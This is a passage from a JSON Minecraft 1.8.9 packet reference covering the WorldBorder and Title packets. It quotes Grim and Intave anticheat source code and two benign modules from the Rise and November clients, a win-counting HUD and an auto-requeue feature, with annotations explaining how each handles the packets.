<= maxChunkX; ++currChunkX) {\n                int minX = currChunkX == minChunkX ? minBlockX & 15 : 0; // coordinate in chunk\n                int maxX = currChunkX == maxChunkX ? maxBlockX & 15 : 15; // coordinate in chunk\n\n                int chunkXGlobalPos = currChunkX << 4;\n                int chunkZGlobalPos = currChunkZ << 4;\n\n                Column chunk = player.compensatedWorld.getChunk(currChunkX, currChunkZ);\n\n                if (chunk == null) continue;\n                BaseChunk[] sections = chunk.chunks();\n\n                for (int y = minYIterate; y <= maxYIterate; ++y) {\n                    BaseChunk section = sections[(y >> 4) - minSection];\n\n                    if (section == null || (IS_FOURTEEN && section.isEmpty())) { // Check for empty on 1.13+ servers\n                        // empty\n                        // skip to next section\n                        y = (y & ~(15)) + 15; // increment by 15: iterator loop increments by the extra one\n                        continue;\n                    }\n\n                    for (int currZ = minZ; currZ <= maxZ; ++currZ) {\n                        for (int currX = minX; currX <= maxX; ++currX) {\n                            int x = currX | chunkXGlobalPos;\n                            int z = currZ | chunkZGlobalPos;\n\n                            WrappedBlockState data = section.get(CompensatedWorld.blockVersion, x & 0xF, y & 0xF, z & 0xF, false);\n\n                            // Works on both legacy and modern!  Faster than checking for material types, most common case\n                            if (data.getGlobalId() == 0) continue;\n\n                            // Thanks SpottedLeaf for this optimization, I took edgeCount from Tuinity\n                            int edgeCount = ((x == minBlockX || x == maxBlockX) ? 1 : 0) +\n                                    ((y == minBlockY || y == maxBlockY) ? 1 : 0) +\n                                    ((z == minBlockZ || z == maxBlockZ) ? 1 : 0);\n\n                            final StateType type = data.getType();\n                            if (edgeCount != 3 && (edgeCount != 1 || Materials.isShapeExceedsCube(type))\n                                    && (edgeCount != 2 || type == StateTypes.PISTON_HEAD)) {\n                                final CollisionBox collisionBox = CollisionData.getData(type).getMovementCollisionBox(player, player.getClientVersion(), data, x, y, z);\n\n                                if (collisionBox.isIntersected(checkBox)) {\n                                    searchingFor.accept(data, x, y, z);\n                                }\n                            }\n                        }\n                    }\n                }\n            }\n        }\n    }\n\n    public static boolean onClimbable(GrimPlayer player, double x, double y, double z) {\n        WrappedBlockState blockState = player.compensatedWorld.getBlock(x, y, z);\n        StateType blockMaterial = blockState.getType();\n\n        if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21_11) &&\n                player.isGliding && BlockTags.CAN_GLIDE_THROUGH.contains(blockMaterial)) {\n            return false;\n        }\n\n        // ViaVersion replacement block -> glow berry vines (cave vines) -> fern\n        if (blockMaterial == StateTypes.CAVE_VINES || blockMaterial == StateTypes.CAVE_VINES_PLANT) {\n            return player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_17);\n        }\n\n        if (player.tagManager.block(SyncedTags.CLIMBABLE).contains(blockMaterial)) {\n            return true;\n        }\n\n        // ViaVersion replacement block -> sweet berry bush to vines\n        if (blockMaterial == StateTypes.SWEET_BERRY_BUSH && player.getClientVersion().isOlderThan(ClientVersion.V_1_14)) {\n            return true;\n        }\n\n        return trapdoorUsableAsLadder(player, x, y, z, blockState);\n    }\n\n    public static boolean trapdoorUsableAsLadder(GrimPlayer player, double x, double y, double z, WrappedBlockState blockData) {\n        if (!BlockTags.TRAPDOORS.contains(blockData.getType())) return false;\n        // Feature implemented in 1.9\n        if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8)) return false;\n\n        if (blockData.isOpen()) {\n            WrappedBlockState blockBelow = player.compensatedWorld.getBlock(x, y - 1, z);\n\n            if (blockBelow.getType() == StateTypes.LADDER) {\n                return blockData.getFacing() == blockBelow.getFacing();\n            }\n        }\n\n        return false;\n    }\n\n    public enum Axis {\n        X {\n            @Override\n            public double get(Vector3d vector) {\n                return vector.getX();\n            }\n\n            @Override\n            public int get(Vector3i vector) {\n                return vector.getX();\n            }\n\n            @Override\n            public double choose(double x, double y, double z) {\n                return x;\n            }\n\n            @Override\n            public int choose(int x, int y, int z) {\n                return x;\n            }\n\n            @Override\n            public Direction getPositive() {\n                return Direction.EAST;\n            }\n\n            @Override\n            public Direction getNegative() {\n                return Direction.WEST;\n            }\n        },\n        Y {\n            @Override\n            public double get(Vector3d vector) {\n                return vector.getY();\n            }\n\n            @Override\n            public int get(Vector3i vector) {\n                return vector.getY();\n            }\n\n            @Override\n            public double choose(double x, double y, double z) {\n                return y;\n            }\n\n            @Override\n            public int choose(int x, int y, int z) {\n                return y;\n            }\n\n            @Override\n            public Direction getPositive() {\n                return Direction.UP;\n            }\n\n            @Override\n            public Direction getNegative() {\n                return Direction.DOWN;\n            }\n        },\n        Z {\n            @Override\n            public double get(Vector3d vector) {\n                return vector.getZ();\n            }\n\n            @Override\n            public int get(Vector3i vector) {\n                return vector.getZ();\n            }\n\n            @Override\n            public double choose(double x, double y, double z) {\n                return z;\n            }\n\n            @Override\n            public int choose(int x, int y, int z) {\n                return z;\n            }\n\n            @Override\n            public Direction getPositive() {\n                return Direction.SOUTH;\n            }\n\n            @Override\n            public Direction getNegative() {\n                return Direction.NORTH;\n            }\n        };\n\n        public abstract double get(Vector3d vector);\n\n        public abstract int get(Vector3i vector);\n\n        public abstract double choose(double x, double y, double z);\n\n        public abstract int choose(int x, int y, int z);\n\n        public abstract Direction getPositive();\n\n        public abstract Direction getNegative();\n\n    }\n}\n// NOTE (AI): The border logic is addWorldBorder (lines 212-255), consumed by getCollisionBoxes at line 261. The block is the full 1012-line collision file because addWorldBorder is part of the shared collision pipeline.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/utils/nmsutil/Collisions.java",
       "variations": "NCP CollisionUtil.addWorldBorder (line 1074) and Artemis NMS_v1_8 (lines 139-206) add the same border-as-wall boxes to their collision resolvers, but both read Bukkit's server-side WorldBorder and never parse the S44 packet."
      },
      {
       "name": "WorldBorderReader (intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Decode the border packet family into the immutable border model that intave's movement simulation runs against.",
       "how_it_works": "A packet reader registered for all seven border packet ids (WORLD_BORDER, SET_BORDER_CENTER, SET_BORDER_SIZE, SET_BORDER_LERP_SIZE, SET_BORDER_WARNING_DELAY, SET_BORDER_WARNING_DISTANCE, INITIALIZE_BORDER). updated() maps the packet type to an UpdateType, reads the doubles and longs out of the ProtocolLib container (with legacy 1.8 offset handling for the action packet), and returns a new WorldBorder: center updates rebuild with a new center, size updates set the diameter, lerp updates build a MovingWorldBorder with the transition time, and INITIALIZE applies all four. MovementDispatcher.sentWorldBorderUpdate (lines 803-812) feeds the result into the movement metadata, and the simulation environment exposes it through border().",
       "detects": "Nothing directly. It keeps the simulation's boundary in sync so movement checks simulate against the correct border.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/packet/reader/WorldBorderReader.java =====\n/*\n * Copyright 2026 Intave\n *\n * This software is licensed under the PolyForm Perimeter License 1.0.0.\n * You may use this software for any purpose, except for providing to\n * others any product that competes with the software.\n *\n * A copy of the license is available at:\n *   https://polyformproject.org/licenses/perimeter/1.0.0/\n */\n\npackage de.jpx3.intave.packet.reader;\n\nimport com.comphenix.protocol.PacketType;\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.reflect.StructureModifier;\nimport de.jpx3.intave.share.Position;\nimport de.jpx3.intave.world.border.WorldBorder;\nimport org.jetbrains.annotations.NotNull;\n\nimport static de.jpx3.intave.packet.reader.WorldBorderReader.UpdateType.INITIALIZE;\n\npublic final class WorldBorderReader extends AbstractPacketReader {\n\tpublic @NotNull WorldBorder updated(@NotNull WorldBorder worldBorder) {\n\t\tif (type().updatesCenter()) {\n\t\t\tworldBorder = worldBorder.withCenterAt(center());\n\t\t}\n\t\tif (type().updatesRawSize()) {\n\t\t\tworldBorder = worldBorder.withSize(size());\n\t\t}\n\t\tif (type().updatesLerpSize()) {\n\t\t\tworldBorder = worldBorder.withLerpingSize(\n\t\t\t\toldSize(), newSize(), lerpTime()\n\t\t\t);\n\t\t}\n\t\tif (type().updatesAbsoluteMaxSize()) {\n\t\t\tworldBorder = worldBorder.withAbsoluteMaxSize(absoluteMaxSize());\n\t\t}\n\t\treturn worldBorder;\n\t}\n\n\tprivate Position center() {\n\t\tUpdateType type = type();\n\t\tif (type.updatesCenter()) {\n\t\t\tStructureModifier<Double> doubles = packet().getDoubles();\n\t\t\tdouble centerX = doubles.read(0);\n\t\t\tdouble centerZ = doubles.read(1);\n\t\t\treturn new Position(centerX, 0, centerZ);\n\t\t}\n\t\tthrow new IllegalStateException(\"Cannot get center for update type: \" + type);\n\t}\n\n\tprivate double size() {\n\t\tUpdateType type = type();\n\t\tif (type.updatesRawSize()) {\n\t\t\tboolean legacyPacket = packet().getType() == PacketType.Play.Server.WORLD_BORDER;\n\t\t\treturn (float) (double) packet().getDoubles().read(legacyPacket ? 2 : 0);\n\t\t}\n\t\tthrow new IllegalStateException(\"Cannot get size for update type: \" + type);\n\t}\n\n\tprivate double oldSize() {\n\t\tUpdateType type = type();\n\t\tif (type.updatesLerpSize()) {\n\t\t\tboolean legacyPacket = packet().getType() == PacketType.Play.Server.WORLD_BORDER;\n\t\t\tint initializeOffset = type() == INITIALIZE ? 2 : 0;\n\t\t\treturn (float) (double) packet().getDoubles().read(legacyPacket ? 3 : initializeOffset);\n\t\t}\n\t\tthrow new IllegalStateException(\"Cannot get old size for update type: \" + type);\n\t}\n\n\tprivate double newSize() {\n\t\tUpdateType type = type();\n\t\tif (type.updatesLerpSize()) {\n\t\t\tboolean legacyPacket = packet().getType() == PacketType.Play.Server.WORLD_BORDER;\n\t\t\tint initializeOffset = type() == INITIALIZE ? 2 : 0;\n\t\t\treturn (float) (double) packet().getDoubles().read(legacyPacket ? 2 : initializeOffset + 1);\n\t\t}\n\t\tthrow new IllegalStateException(\"Cannot get new size for update type: \" + type);\n\t}\n\n\tprivate int absoluteMaxSize() {\n\t\tUpdateType type = type();\n\t\tif (type.updatesAbsoluteMaxSize()) {\n\t\t\treturn packet().getIntegers().read(0);\n\t\t}\n\t\tthrow new IllegalStateException(\"Cannot get absolute max size for update type: \" + type);\n\t}\n\n\tprivate long lerpTime() {\n\t\tUpdateType type = type();\n\t\tif (type.updatesLerpSize()) {\n\t\t\treturn packet().getLongs().read(0);\n\t\t}\n\t\tthrow new IllegalStateException(\"Cannot get lerp time for update type: \" + type);\n\t}\n\n\tprivate UpdateType type() {\n\t\tPacketContainer packet = packet();\n\t\tPacketType type = packet.getType();\n\t\tif (type == PacketType.Play.Server.WORLD_BORDER) {\n\t\t\treturn packet.getEnumModifier(UpdateType.class, 0).read(0);\n\t\t} else if (type == PacketType.Play.Server.SET_BORDER_LERP_SIZE) {\n\t\t\treturn UpdateType.LERP_SIZE;\n\t\t} else if (type == PacketType.Play.Server.INITIALIZE_BORDER) {\n\t\t\treturn INITIALIZE;\n\t\t} else if (type == PacketType.Play.Server.SET_BORDER_CENTER) {\n\t\t\treturn UpdateType.SET_CENTER;\n\t\t} else if (type == PacketType.Play.Server.SET_BORDER_SIZE) {\n\t\t\treturn UpdateType.SET_SIZE;\n\t\t} else if (type == PacketType.Play.Server.SET_BORDER_WARNING_DISTANCE) {\n\t\t\treturn UpdateType.SET_WARNING_BLOCKS;\n\t\t} else if (type == PacketType.Play.Server.SET_BORDER_WARNING_DELAY) {\n\t\t\treturn UpdateType.SET_WARNING_TIME;\n\t\t} else {\n\t\t\tthrow new IllegalStateException(\"Unknown world border packet type: \" + type);\n\t\t}\n\t}\n\n\tpublic enum UpdateType {\n\t\tSET_SIZE,\n\t\tLERP_SIZE,\n\t\tSET_CENTER,\n\t\tINITIALIZE,\n\t\tSET_WARNING_TIME,\n\t\tSET_WARNING_BLOCKS;\n\n\t\tpublic boolean updatesCenter() {\n\t\t\treturn this == SET_CENTER || this == INITIALIZE;\n\t\t}\n\n\t\tpublic boolean updatesRawSize() {\n\t\t\treturn this == SET_SIZE || this == INITIALIZE;\n\t\t}\n\n\t\tpublic boolean updatesLerpSize() {\n\t\t\treturn this == LERP_SIZE || this == INITIALIZE;\n\t\t}\n\n\t\tpublic boolean updatesAbsoluteMaxSize() {\n\t\t\treturn this == INITIALIZE;\n\t\t}\n\t}\n}\n// NOTE (AI): The S44 handling is the whole file. PacketReaders.java lines 82-88 register all seven border packet ids to this reader; MovementDispatcher.java lines 803-812 route the decoded border into the movement metadata; the border model lives in de.jpx3.intave.world.border (StaticWorldBorder and MovingWorldBorder).",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/packet/reader/WorldBorderReader.java",
       "variations": "The decoded model is split into StaticWorldBorder and MovingWorldBorder under de.jpx3.intave.world.border; the simulation environment views (ImmutableSimulationEnvironmentCopy, MutableSimulationEnvironmentView, MockSimulationEnvironment) each carry a WorldBorder field with border() accessors."
      }
     ]
    }
   },
   "wiki_notes": [
    "Warning time is measured in seconds and warning distance in blocks, matching the units of the worldborder warning time and warning distance commands.",
    "MCP 1.8.9 S44PacketWorldBorder implements Packet<INetHandlerPlayClient> dispatching to INetHandlerPlayClient.handleWorldBorder; wire serde is readPacketData/writePacketData via readDouble, readEnumValue, readVarIntFromBuffer, readVarLong.",
    "1.8.9 callers: ServerConfigurationManager.onSizeChanged sends new S44PacketWorldBorder (line 231): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/server/management/ServerConfigurationManager.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/S44PacketWorldBorder/",
   "mcp_path": "net/minecraft/network/play/server/S44PacketWorldBorder.java",
   "group": "play-client",
   "logic_classes": [
    "ServerConfigurationManager"
   ]
  },
  {
   "id": "S45PacketTitle",
   "hex": "0x45",
   "dec": 69,
   "dir": "CLIENTBOUND",
   "state": "PLAY",
   "name": "Title",
   "desc": "Displays titles/subtitles on screen with animation timing. Actions: TITLE, SUBTITLE, TIMES, CLEAR, RESET.",
   "tags": [
    "player",
    "gui",
    "title"
   ],
   "fields": [
    {
     "name": "action",
     "type": "VarInt Enum",
     "desc": "0=TITLE, 1=SUBTITLE, 2=TIMES, 3=CLEAR, 4=RESET"
    },
    {
     "name": "titleText",
     "type": "IChatComponent (JSON)",
     "desc": "Title text (for TITLE/SUBTITLE)"
    },
    {
     "name": "fadeInTime",
     "type": "int",
     "desc": "Fade-in ticks (for TIMES)"
    },
    {
     "name": "stayTime",
     "type": "int",
     "desc": "Display ticks"
    },
    {
     "name": "fadeOutTime",
     "type": "int",
     "desc": "Fade-out ticks"
    }
   ],
   "encoding": [
    [
     "Action",
     "VarInt Enum",
     "0=title, 1=subtitle, 2=times, 3=clear, 4=reset"
    ],
    [
     "Text (if title/sub)",
     "Chat Component (JSON)",
     ""
    ],
    [
     "Fade In (if times)",
     "int",
     "Ticks"
    ],
    [
     "Stay (if times)",
     "int",
     "Ticks"
    ],
    [
     "Fade Out (if times)",
     "int",
     "Ticks"
    ]
   ],
   "mcp": [
    "NetHandlerPlayClient.handleTitle()"
   ],
   "handler": "INetHandlerPlayClient",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "Screen title display with five actions: TITLE, SUBTITLE, TIMES, CLEAR and RESET. The vanilla server produces it from the /title command (CommandTitle), and plugins use it for game announcements. TITLE and SUBTITLE carry an IChatComponent, TIMES carries three ints (fade-in, stay, fade-out in ticks), and CLEAR and RESET carry no text. The client handler routes everything into GuiIngame.displayTitle, which owns the fade state machine."
     },
     {
      "h": "Vanilla handling",
      "p": "handleTitle reads the type, formats the component text, and calls ingameGUI.displayTitle(title, subtitle, fadeIn, displayTime, fadeOut). GuiIngame stores the strings plus the three timings and animates alpha over ticks. RESET clears both text slots and restores default timings (10/70/20); CLEAR hides immediately. The packet is clientbound-only and stateless server-side: the server tracks nothing about what the client currently displays."
     },
     {
      "h": "Why clients touch it",
      "p": "Two module hits in the corpus. Rise 6.1.30 and 6.2.4 ship RueSessionStats, a SessionStats HUD mode that listens on PacketReceiveEvent, strips control codes from the title message, and increments its wins counter when the text equals 'VICTORY!' (Hypixel game-win detection). November Recode 2.0's AutoPlayModule pattern-matches S45PacketTitle inside its packet-in handler but only null-checks the message; the branch carries no behaviour, so the title serves as a guard against a null component rather than a signal. Anti-title modules that suppress or rewrite titles are common in other clients, but none of the 10 reference clients has one: the corpus shows no cancel-based title handling."
     },
     {
      "h": "Exploit surface",
      "p": "The text is a full IChatComponent parsed client-side, so it shares the component-parsing attack surface of S02PacketChat, including formatting codes and arbitrarily nested JSON. The handler calls getFormattedText() with no length limit beyond the component parser's own. For module authors the useful property is that titles are a timing-accurate game-state signal: Hypixel sends VICTORY! exactly once per win, which is why the win counter keys off it rather than chat."
     }
    ],
    "overview": "Screen title state machine fed by /title and plugin announcements. Rise's RueSessionStats HUD mode uses the VICTORY! title as a win signal for its session stats counter; November Recode 2.0's AutoPlayModule pattern-matches S45PacketTitle with a null-message guard only. No anti-title module exists in the 10 clients.",
    "server_handling": "CommandTitle constructs the packet per /title syntax: TIMES from three parsed ints, TITLE and SUBTITLE with a ChatComponentProcessor-processed component, CLEAR and RESET with a null component. The server keeps no per-client title state; each packet is fire-and-forget. Plugins such as Hypixel send titles directly with their own timing sequences, typically TIMES followed by TITLE.",
    "protocol_notes": "Type is a VarInt enum. TITLE and SUBTITLE append an IChatComponent (JSON); TIMES appends three ints; CLEAR and RESET append nothing. readPacketData reads the component only for TITLE and SUBTITLE and the three ints only for TIMES. The component is null on the wire for TIMES, CLEAR and RESET, and handlers must tolerate that; RueSessionStats and November's AutoPlayModule both null-guard the component before use.",
    "anticheat_landscape": "No anti-cheat involvement: titles are cosmetic, clientbound and unacknowledged. Suppressing or rewriting them cannot affect server-side validation. The only measurable behaviour is client rendering, which is invisible to the server.",
    "modules": [
     {
      "name": "RueSessionStats",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Session stats HUD overlay that counts kills and wins; uses S45PacketTitle to detect Hypixel game wins.",
      "how_it_works": "A Mode<SessionStats> render module. onPreMotionEvent refreshes the elapsed-time string every 20 ticks; onKill increments the kill counter; onPacketReceiveEvent checks each S45PacketTitle, strips control codes from getMessage().getUnformattedText(), and increments wins on an exact 'VICTORY!' match. onServerJoin resets the session; the overlay draws through the client's layered render system with a draggable position.",
      "detailed_code": "// ===== FILE: Rise 6.1.30, com/alan/clients/module/impl/render/sessioninfo/RueSessionStats.java =====\npackage com.alan.clients.module.impl.render.sessioninfo;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.other.KillEvent;\nimport com.alan.clients.event.impl.other.ServerJoinEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.event.impl.render.Render2DEvent;\nimport com.alan.clients.font.Fonts;\nimport com.alan.clients.font.Weight;\nimport com.alan.clients.module.impl.render.SessionStats;\nimport com.alan.clients.util.localization.Localization;\nimport com.alan.clients.util.render.ColorUtil;\nimport com.alan.clients.util.render.RenderUtil;\nimport com.alan.clients.util.vector.Vector2d;\nimport com.alan.clients.value.Mode;\nimport com.alan.clients.value.impl.DragValue;\nimport lombok.AllArgsConstructor;\nimport net.minecraft.network.play.server.S45PacketTitle;\nimport net.minecraft.util.StringUtils;\n\nimport java.awt.*;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alan.clients.layer.Layers.BLUR;\nimport static com.alan.clients.layer.Layers.REGULAR;\n\npublic final class RueSessionStats extends Mode<SessionStats> {\n    private final DragValue position = this.getParent().getPosition();\n\n    public RueSessionStats(String name, SessionStats parent) {\n        super(name, parent);\n    }\n\n    private Session session = new Session(0, 0, 0, 0, 0, 0);\n    private String time = \"0 seconds\";\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        // Don't do this awful shit every frame\n        if (mc.thePlayer.ticksExisted % 20 == 0) {\n            long elapsed = System.currentTimeMillis() - this.session.startTime;\n            long hours = TimeUnit.MILLISECONDS.toHours(elapsed);\n            long minutes = TimeUnit.MILLISECONDS.toMinutes(elapsed) % 60;\n            long seconds = TimeUnit.MILLISECONDS.toSeconds(elapsed) % 60;\n\n            String base = \"\";\n            if (hours > 0)\n                base += hours + \" \" + (hours == 1 ? Localization.get(\"ui.sessionstats.hour\") : Localization.get(\"ui.sessionstats.hours\")) + ((minutes == 0 ? \"\" : \" \"));\n            if (minutes > 0)\n                base += minutes + \" \" + (minutes == 1 ? Localization.get(\"ui.sessionstats.minute\") : Localization.get(\"ui.sessionstats.minutes\")) + (seconds == 0 || hours > 0 ? \"\" : \" \");\n            if (seconds > 0 && hours == 0)\n                base += seconds + \" \" + (seconds == 1 ? Localization.get(\"ui.sessionstats.second\") : Localization.get(\"ui.sessionstats.seconds\"));\n\n            this.time = base;\n        }\n    };\n\n    @EventLink\n    public final Listener<Render2DEvent> onRender2D = event -> {\n        double padding = 8;\n        position.scale = new Vector2d(200 - 70, 100 - 45);\n\n        // Don't draw if the F3 menu is open\n        if (mc.gameSettings.showDebugInfo) return;\n\n        getLayer(BLUR).add(() -> {\n            RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, 11, Color.BLACK);\n        });\n\n        // Draw all the text itself\n        getLayer(REGULAR, 1).add(() -> {\n            RenderUtil.roundedRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, 11, ColorUtil.withAlpha(Color.black, 100));\n            RenderUtil.roundedOutlineGradientRectangle(position.position.x, position.position.y, position.scale.x, position.scale.y, 11, 0.5, ColorUtil.withAlpha(getTheme().getFirstColor(), 200), ColorUtil.withAlpha(getTheme().getSecondColor(), 200));\n\n            // Format the walking/flying distance in meters/km\n\n            Fonts.MAIN.get(24, Weight.REGULAR).drawCentered(Localization.get(\"ui.sessionstats.name\"), position.position.x + position.scale.x / 2f, position.position.y + padding, getTheme().getAccentColor().getRGB());\n            Fonts.MAIN.get(18, Weight.REGULAR).drawCentered(time, position.position.x + position.scale.x / 2f, position.position.y + padding + 19, new Color(255, 255, 255, 200).getRGB());\n            Fonts.MAIN.get(18, Weight.REGULAR).drawCentered(Localization.get(\"ui.sessionstats.kills\").toLowerCase() + \" \" + session.kills, position.position.x + 35, position.position.y + padding + 32, new Color(255, 255, 255, 200).getRGB());\n            Fonts.MAIN.get(18, Weight.REGULAR).drawWithShadow(Localization.get(\"ui.sessionstats.wins\").toLowerCase() + \" \" + session.wins, position.position.x + 75, position.position.y + padding + 32, new Color(255, 255, 255, 200).getRGB());\n        });\n    };\n\n    @EventLink\n    public final Listener<KillEvent> onKill = event -> {\n        this.session.kills++;\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        if (event.getPacket() instanceof S45PacketTitle) {\n            S45PacketTitle s45 = (S45PacketTitle) event.getPacket();\n            if (s45.getMessage() == null) return;\n\n            if (StringUtils.stripControlCodes(s45.getMessage().getUnformattedText()).equals(\"VICTORY!\")) {\n                this.session.wins++;\n            }\n        }\n    };\n\n    @EventLink\n    public final Listener<ServerJoinEvent> onServerJoin = event -> {\n        this.session = new Session(0, 0, 0, 0, 0, 0);\n    };\n\n    @AllArgsConstructor\n    private static class Session {\n        int kills, wins;\n        int userBans, globalBans;\n        double distanceWalked, distanceFlown;\n        final long startTime = System.currentTimeMillis();\n    }\n\n}\n// NOTE (AI): The S45 hook is the wins counter: every PacketReceiveEvent is checked for S45PacketTitle, control codes are stripped from the unformatted message, and an exact match on 'VICTORY!' increments the session win count. The null check on getMessage() matters because TIMES, CLEAR and RESET actions carry no component. The kill counter comes from the client's own KillEvent instead of S42PacketCombatEvent, which the vanilla server never sends for deaths. Rise 6.2.4 ships the identical file under Client-release2/Client/src/main/java.",
      "code_source": "Rise 6.1.30, com/alan/clients/module/impl/render/sessioninfo/RueSessionStats.java",
      "vanilla_hook": "PacketReceiveEvent (com.alan.clients.event.impl.packet.PacketReceiveEvent).",
      "anti_cheat_notes": "None. The module only reads clientbound state and draws HUD text; nothing serverbound is altered, so there is no flag surface. A false-positive win count is a client-side cosmetic issue, not a detection risk.",
      "variations": "Rise 6.2.4 ships the identical file under Client-release2/Client/src/main/java with the same package path. Rise 5.99 has no S45 reference at all; the module exists only in the 6.x component-based module tree."
     },
     {
      "name": "AutoPlayModule (play again)",
      "found_in": [
       "November Recode 2.0"
      ],
      "purpose": "Automatically re-queue for the next game after a Hypixel or BlocksMC match; the S45PacketTitle branch only guards against a null title component.",
      "how_it_works": "An EventPacket.In listener on November's event bus. In HYPIXEL mode it parses S02PacketChat siblings for a 'Click here!' RUN_COMMAND click event after a win or death message, stores the command, and sends it via addToSendQueueSilent after the configured delay. The S45PacketTitle branch is a match with a null-message guard and no further action, so the title path is effectively inert; the module's real signal is chat.",
      "detailed_code": "// ===== FILE: November Recode 2.0, feature/module/impl/player/AutoPlayModule.java =====\n/* November.lol © 2023 */\npackage lol.november.feature.module.impl.player;\n\nimport lol.november.November;\nimport lol.november.feature.module.Category;\nimport lol.november.feature.module.Module;\nimport lol.november.feature.module.Register;\nimport lol.november.feature.setting.Setting;\nimport lol.november.listener.bus.Listener;\nimport lol.november.listener.bus.Subscribe;\nimport lol.november.listener.event.net.EventPacket;\nimport lol.november.listener.event.player.EventUpdate;\nimport lol.november.utility.math.timer.Timer;\nimport net.minecraft.event.ClickEvent;\nimport net.minecraft.init.Items;\nimport net.minecraft.item.ItemStack;\nimport net.minecraft.network.play.client.C01PacketChatMessage;\nimport net.minecraft.network.play.client.C08PacketPlayerBlockPlacement;\nimport net.minecraft.network.play.client.C09PacketHeldItemChange;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.network.play.server.S45PacketTitle;\nimport net.minecraft.util.IChatComponent;\n\n/**\n * @author Gavin\n * @since 2.0.0\n */\n@Register(\n  name = \"AutoPlay\",\n  description = \"Automatically plays the next game for you\",\n  category = Category.PLAYER\n)\npublic class AutoPlayModule extends Module {\n\n  private final Setting<Mode> mode = new Setting<>(\"Mode\", Mode.HYPIXEL);\n  private final Setting<Double> delay = new Setting<>(\n    \"Delay\",\n    1.5,\n    0.01,\n    0.0,\n    5.0\n  );\n\n  private final Timer timer = new Timer();\n  private String playCommand;\n  private int paperSlot;\n\n  @Override\n  public void disable() {\n    super.disable();\n    playCommand = null;\n\n    if (mode.getValue() == Mode.BLOCKS_MC && paperSlot != -1) {\n      November.instance().inventory().sync();\n    }\n\n    paperSlot = -1;\n  }\n\n  @Subscribe\n  private final Listener<EventUpdate> update = event -> {\n    if (mc.thePlayer.ticksExisted < 10) {\n      paperSlot = -1;\n      playCommand = null;\n      return;\n    }\n\n    if (mode.getValue() == Mode.HYPIXEL || mode.getValue() == Mode.MUSH_MC) {\n      if (\n        playCommand == null ||\n        !timer.passed(delay.getValue().longValue() * 1000L)\n      ) return;\n\n      timer.reset();\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C01PacketChatMessage(playCommand)\n      );\n    } else if (mode.getValue() == Mode.BLOCKS_MC) {\n      if (paperSlot == -1) {\n        for (int i = 0; i < 9; ++i) {\n          ItemStack itemStack = mc.thePlayer.inventory.getStackInSlot(i);\n          if (itemStack != null && itemStack.getItem() == Items.paper) {\n            paperSlot = i;\n            timer.reset();\n            break;\n          }\n        }\n\n        return;\n      }\n\n      if (!timer.passed(delay.getValue().longValue() * 1000L)) return;\n\n      timer.reset();\n\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C09PacketHeldItemChange(paperSlot)\n      );\n      mc.thePlayer.sendQueue.addToSendQueueSilent(\n        new C08PacketPlayerBlockPlacement(\n          November.instance().inventory().itemStack()\n        )\n      );\n      November.instance().inventory().sync();\n    }\n  };\n\n  @Subscribe\n  private final Listener<EventPacket.In> packetIn = event -> {\n    if (mode.getValue() == Mode.HYPIXEL) {\n      if (event.get() instanceof S02PacketChat packet) {\n        if (packet.getChatComponent() == null) return;\n\n        String raw = packet.getChatComponent().getUnformattedText();\n        if (\n          raw.contains(\"You won! Want to play again? Click here! \") ||\n          raw.contains(\"You died! Want to play again? Click here! \")\n        ) {\n          timer.reset();\n\n          for (IChatComponent component : packet\n            .getChatComponent()\n            .getSiblings()) {\n            if (\n              component.getUnformattedText().contains(\"Click here!\") &&\n              component.getChatStyle().getChatClickEvent() != null\n            ) {\n              ClickEvent clickEvent = component\n                .getChatStyle()\n                .getChatClickEvent();\n              if (clickEvent.getAction() == ClickEvent.Action.RUN_COMMAND) {\n                playCommand = clickEvent.getValue();\n                timer.reset();\n                return;\n              }\n            }\n          }\n        }\n      } else if (event.get() instanceof S45PacketTitle packet) {\n        if (packet.getMessage() == null) return;\n      }\n    }\n  };\n\n  private enum Mode {\n    HYPIXEL,\n    BLOCKS_MC,\n    MUSH_MC,\n  }\n}\n// NOTE (AI): The S45 branch (else-if on S45PacketTitle) only null-checks getMessage() and does nothing else; the actual play-again logic keys off the S02 chat click event. The title reference is a corpus hit but functionally vestigial for this module.",
      "code_source": "November Recode 2.0, feature/module/impl/player/AutoPlayModule.java",
      "vanilla_hook": "EventPacket.In listener (November listener bus).",
      "anti_cheat_notes": "None for the title branch. The module sends a legitimate chat command after a real delay, indistinguishable from a player typing it manually; the silent send queue bypasses the client's own event pipeline but not server validation.",
      "variations": "Rise's RueSessionStats reads titles as a win counter; November's AutoPlayModule matches S45PacketTitle but performs no title-driven action. No other client in the corpus references S45."
     }
    ],
    "general_hooks": "PacketReceiveEvent with an instanceof check and a null-message guard is the pattern RueSessionStats uses; no client in the corpus cancels or rewrites the packet.",
    "related": [
     "S02PacketChat",
     "S47PacketPlayerListHeaderFooter",
     "S2BPacketChangeGameState"
    ],
    "anticheat": {
